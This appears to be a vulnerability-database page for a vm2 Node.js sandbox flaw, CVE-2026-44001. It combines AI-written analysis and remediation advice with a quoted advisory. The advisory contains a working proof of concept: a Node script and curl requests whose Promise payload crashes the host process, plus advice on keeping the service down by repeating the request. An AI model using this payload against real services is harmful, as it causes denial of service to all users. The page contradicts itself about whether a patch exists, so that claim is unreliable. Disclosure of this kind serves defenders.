vm2 CVE-2026-44001
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAccess public API endpoint
-
DeliverySubmit malicious Promise constructor code
-
ExploitTrigger V8 Symbol.toString() in host realm
-
InstallUnhandled rejection crashes Node.js process
-
C2Service unavailable for all users
-
ExecuteRepeat POST requests to prevent restart recovery
-
ImpactPersistent denial of service
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A10:2025 - Mishandling of Exceptional Conditions
ASVS 5.0
V16 - Security Logging and Error Handling Exception handling completeness
|
| Exploitation Conditions | No special conditions - remote unauthenticated exploitation against default configurations of vm2 versions <= 3.10.5 running on Node.js 15+ (which terminates processes on unhandled rejections by default). The vulnerability is triggered by executing any sandboxed code that creates a Promise constructor with the specific executor logic (Error object with Symbol name, then stack access). The CVSS vector AV:N/AC:L/PR:N/UI:N indicates network-accessible attack vector with low complexity, no required privileges, and no user interaction. The vulnerability affects ALL vm2 configurations including those using the |
| Impact | Real-world risk is HIGH despite moderate CVSS 8.6. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C) correctly indicates remote unauthenticated exploitation with low complexity and scope change (sandbox escape to host process). Publicly available exploit code exists in GitHub advisory GHSA-hw58-p9xv-2mjh with working PoC requiring only 3 lines of sandboxed code. The vulnerability affects ALL vm2 deployments <= 3.10.5 regardless of configuration - the |
| Exploit ScenarioDerived | An attacker identifies a public-facing API endpoint at |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 07, 2026
Remote unauthenticated attackers can crash Node.js processes running vm2 <= 3.10.5 by triggering an unhandled Promise rejection that terminates the host application. The vulnerability exploits an incomplete fix for CVE-2026-22709 - while previous patches sanitized .then() and .catch() callback chains, they failed to intercept unhandled rejections originating from Promise constructor executors. Publicly available exploit code exists (GitHub advisory GHSA-hw58-p9xv-2mjh). The attack requires minimal resources (150-byte HTTP request) but achieves high impact by crashing entire server processes serving all concurrent users, with demonstrated persistent DoS despite container orchestration restart policies.
RemediationAI
Immediately upgrade to vm2 v3.11.0 or later, released as a coordinated security update addressing 13 critical vulnerabilities including this process-crash DoS (confirmed in release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0). The v3.11.0 patch wraps Promise executor functions to intercept and sanitize unhandled rejections before they propagate to the host process. For systems unable to upgrade immediately, implement these compensating controls: (1) Add process-level unhandled rejection handlers (process.on('unhandledRejection', ...)) to catch and log errors without terminating - however this only prevents crashes, not the sandbox escape itself, and may mask other legitimate bugs in your application; (2) Deploy vm2 processes in isolated, automatically-restarted containers with aggressive health checks (< 5 second intervals) to minimize downtime windows, though testing confirms attackers can maintain persistent DoS through rapid re-exploitation; (3) Rate-limit and authenticate code execution endpoints to reduce attack surface, though this only slows exploitation against a fundamentally broken isolation boundary; (4) Consider migrating to alternative sandboxing solutions like isolated-vm (V8 isolates), WebAssembly sandboxes, or OS-level containers, as the GitHub advisory context reveals vm2 has systemic architectural weaknesses with 13 sandbox escapes patched in a single coordinated release. Note that the allowAsync: false configuration is NOT a mitigation and actively worsens this vulnerability. All workarounds are temporary - the only complete fix is upgrading to v3.11.0 or migrating away from vm2 for security-critical isolation requirements.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is a Node.js sandbox library enabling safe execution of untrusted JavaScript code by isolating it from the host Node.js process. The vulnerability stems from CWE-248 (Uncaught Exception) in the Promise executor wrapping logic within lib/setup-sandbox.js. The localPromise wrapper (line 38) does not encapsulate executor functions in try-catch blocks, while the resetPromiseSpecies implementation (lines 165-230) only sanitizes rejection handlers in .then() and .catch() chains - not unhandled rejections originating from the executor itself. When sandboxed code creates a Promise whose executor sets Error.name to a Symbol and accesses .stack, V8's internal FormatStackTrace C++ code attempts Symbol.toString(), throwing a TypeError in the host realm. Since Node.js 15+ terminates processes on unhandled Promise rejections by default, this host-realm error propagates outside the sandbox and crashes the entire application. The allowAsync: false configuration setting paradoxically worsens the vulnerability - it blocks .catch() method calls while leaving the Promise constructor callable, guaranteeing all executor rejections remain unhandled.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.
Details
When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.
lib/setup-sandbox.js:38-localPromisewraps the nativePromiseconstructor but does not wrap the executor in try-catch.lib/setup-sandbox.js:165-230-resetPromiseSpeciesand the.then()/.catch()overrides sanitize theonRejectedcallback chains, but do not intercept unhandled rejections originating from the executor itself.
The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.
Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.
allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is *guaranteed* to be unhandled - making allowAsync: false paradoxically more dangerous than true for this vulnerability.
PoC
Library-level PoC (Node.js script - primary):
const { VM } = require("vm2");
// Works with ANY allowAsync setting - both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });
try {
const result = vm.run(`
new Promise(function(r, j) {
var e = new Error();
e.name = Symbol();
e.stack;
});
`);
console.log("Result:", result); // Reaches here (returns Promise object)
} catch (err) {
console.log("Caught:", err); // Never executed
}
console.log("After try-catch"); // Also prints normally
// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help - vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE - .catch() is blocked,
// so the rejection is guaranteed to be unhandled.HTTP demonstration (web service impact):
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
-X POST -H "Content-Type: application/json" \
-d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}
# 2. Send payload - server process will crash
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'
# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/
# => connection refusedImpact
- DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default - no special configuration is required for the crash to occur.
- Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single
curlrequest caused the Docker container to restart (confirmed viaStartedAttimestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users - each restart is met with another crash before any real request can be served. - Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
- Scope: All applications using vm2, regardless of
allowAsyncsetting.allowAsync: falseonly blocksasync/awaitsyntax and.then()/.catch()method calls - thePromiseconstructor itself still executes, and the unhandled rejection still propagates. In fact,allowAsync: falsemakes the vulnerability *worse* because.catch()is blocked, guaranteeing the rejection is always unhandled.
Executive ViewAI
CVE-2026-44001 allows remote attackers to crash Node.js applications using vm2 library version 3.10.5 and earlier through a simple HTTP request, causing denial of service to all end users relying on affected processes. This vulnerability stems from incomplete Promise handling in the library and poses immediate risk to any organization deploying vm2 for sandboxed code execution, with no vendor patch currently available to remediate the issue.
Implement application-level compensating controls: (1) Deploy process supervision with automatic restart on crash (PM2, systemd, or container orchestration); (2) Enforce strict rate limiting and request throttling on code execution endpoints to increase attacker resource requirements; (3) Segment affected applications behind load balancers with per-IP request limits; (4) Monitor for elevated process restart rates as early DoS detection; (5) Consider disabling vm2 sandbox functionality entirely if not actively required. These controls reduce availability impact but do not prevent the underlying crash-migration or patching remains required for complete remediation. No vendor-released patch identified at time of analysis.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)CVE.org
Related Vulnerabilities in vm2 Sandbox Escape Vulnerabilities
View all 11Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
GHSA-hw58-p9xv-2mjh
NVD
CVE.org
EPSS
VulDB
Exploit-DB